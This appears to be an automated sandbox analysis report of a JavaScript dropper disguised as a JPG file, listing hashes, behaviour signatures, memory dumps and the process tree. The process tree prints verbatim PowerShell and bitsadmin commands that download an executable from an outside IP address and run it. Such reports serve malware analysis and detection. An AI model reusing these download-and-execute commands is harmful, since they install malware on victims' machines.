Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-08-2024 16:40

General

  • Target

    PIC176174.jpg.js

  • Size

    650B

  • MD5

    a7ab035cbabbaa850b95e1eb8c877789

  • SHA1

    1175c71d4e70591c3816292fd9107486a7fb3bbe

  • SHA256

    a84be445b2a8be5ed37e7d23816293f15ba5acec72fde6e77d59db4832eace48

  • SHA512

    7189b836a35309cc29acadfb3ed9bb915db1adb47780b70c1ec44ab308d46eaebdc1ab1fae7a460d437f47fef781c0a4d7d9c4e025f7de6e0952b21d792c1854

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://217.8.117.63/tspam.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PIC176174.jpg.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/tspam.exe','C:\Users\Admin\AppData\Local\Temp\394955.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\394955.exe'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/tspam.exe','C:\Users\Admin\AppData\Local\Temp\394955.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\394955.exe'
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/tspam.exe C:\Users\Admin\AppData\Local\Temp\558392.exe&start C:\Users\Admin\AppData\Local\Temp\558392.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/tspam.exe C:\Users\Admin\AppData\Local\Temp\558392.exe
        3⤵
        • Download via BitsAdmin
        PID:4352

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mcahonyt.dty.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4940-0-0x00007FF8A7753000-0x00007FF8A7755000-memory.dmp

    Filesize

    8KB

  • memory/4940-1-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

    Filesize

    10.8MB

  • memory/4940-7-0x00000201E8760000-0x00000201E8782000-memory.dmp

    Filesize

    136KB

  • memory/4940-12-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

    Filesize

    10.8MB

  • memory/4940-13-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

    Filesize

    10.8MB

  • memory/4940-16-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

    Filesize

    10.8MB